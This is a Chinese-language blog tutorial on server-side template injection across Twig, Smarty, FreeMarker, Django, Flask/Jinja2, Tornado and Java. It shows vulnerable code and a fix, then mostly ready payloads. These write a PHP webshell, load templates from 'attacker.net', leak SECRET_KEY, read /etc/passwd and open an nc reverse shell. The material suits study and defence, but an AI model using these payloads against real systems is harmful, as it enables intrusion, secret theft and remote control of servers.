SSTI 总结

服务端模板注入(Server-Side Template Injection)

模板

网站开发时经常会使用一种模板技术,由模板控制前端的显示。

不使用模板:

1
2
3
4
5
6
from flask import Flask
app = Flask(__name__)

@app.route('/user/<name>')
def user(name):
return '<h1>Hello, {}!</h1>'.format(name)

使用模板:

1
2
3
4
5
6
from flask import Flask, render_template
app = Flask(__name__)

@app.route('/user/<name>')
def user(name):
return render_template('user.html', name=name)

user.html:

1
<h1>Hello, {{ name }}!</ht>

模板除了这样简单的替换功能,还支持更高级的功能。比如从一个字典、列表甚至对象中获取变量,可以对变量使用过滤器,提供控制结构和宏,支持扩展和继承。

常见模板引擎

  • PHP: Smarty, Twig, Blade
  • JAVA: JSP, FreeMarker, Velocity
  • Python: Jinja2, django, tornado

模板注入

注入产生的原因是混淆程序和数据

PHP - Twig

存在漏洞版本

1
2
3
4
5
6
7
<?php
require_once dirname(__FILE__).‘/../lib/Twig/Autoloader.php‘;
Twig_Autoloader::register(true);

$twig = new Twig_Environment(new Twig_Loader_String());
$output = $twig->render("Hello {$_GET[‘name‘]}"); // 将用户输入作为模版内容的一部分
echo $output;

修复版本:

1
2
3
4
5
6
<?php
require_once dirname(__FILE__).‘/../lib/Twig/Autoloader.php‘;
Twig_Autoloader::register(true);
$twig = new Twig_Environment(new Twig_Loader_String());
$output = $twig->render("Hello {{name}}", array("name" => $_GET["name"])); // 将用户输入作为模版变量的值
echo $output;

Python - Jinja2

存在漏洞:

1
2
3
4
5
6
7
8
9
10
11
@app.errorhandler(404)
def page_not_found(e):
template = '''{%% extends "layout.html" %%}
{%% block body %%}
<div class="center-content error">
<h1>Oops! That page doesn't exist.</h1>
<h3>%s</h3>
</div>
{%% endblock %%}
''' % (request.url)
return render_template_string(template), 404

检测

在可能存在 SSTI 的地方使用

1
{{ 1+1 }}

类似这样的 payload,如果能在页面上看到返回了 2,就说明表达式能够执行,可以模板注入。

攻击

利用模板特性

Smarty

Smarty 提供了安全模式,只能执行白名单中的PHP函数,但我们可以从模板本身入手。

$smarty内置类可以用于访问环境变量,使用self就可以得到这个类,它提供了一些好用的方法,比如getStreamVariable(),可以获取传入变量的流(读文件)

1
{self::getStreamVariable("file:///proc/self/loginuid")}

class Smarty_Internal_Write_File,有一个writeFile函数,可以写文件

1
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}

Twig

Twig 无法调用静态方法,并且所有函数的返回值都转换为字符串。但是提供了一个_self,有一个env,指Twig_Environment对象,有一个setCache方法,可以改变Twig尝试加载和执行编译模板的位置,可以通过将缓存位置设置为远程服务器进行远程文件包含。

1
2
{{_self.env.setCache("ftp://attacker.net:2121")}}
{{_self.env.loadTemplate("backdoor")}}

但是这个 payload 需要打开allow_url_include,所以换用getFilter方法,其中调用了call_user_function方法

1
2
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("id")}}

FreeMarker

1
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }

利用框架特性

Django

1
2
3
http://localhost:8000/?email={user.groups.model._meta.app_config.module.admin.settings.SECRET_KEY}

http://localhost:8000/?email={user.user_permissions.model._meta.app_config.module.admin.settings.SECRET_KEY}

Flask - Jinja2

config 是 Flask 框架中的一个全局对象,代表当前配置对象flask config,包含了所有应用程序的配置值。包含一些方法:from_envvarfrom_objectfrom_pyfileroot_path

1
2
3
4
5
6
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evil', 'w').write('from os import system%0aSHELL = system') }}
//写文件
{{ config.from_pyfile('/tmp/evil') }}
//加载system
{{ config['SHELL']('nc xxxx xx -e /bin/sh') }}
//执行命令反弹SHELL

Tornado

1
http://117.78.26.79:31093/error?msg={{handler.settings}}

利用语言特性

Python

需要绕过沙盒机制,[一篇博文](http://www.k0rz3n.com/2018/05/04/Python 沙盒逃逸备忘/)

Java

1
2
3
${T(java.lang.System).getenv()}
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

防御

  • 过滤用户输入
  • 不要直接使用格式化字符串,或者使用正规的模板渲染方法
作者

lll

发布于

2020-05-10

更新于

2022-09-19

许可协议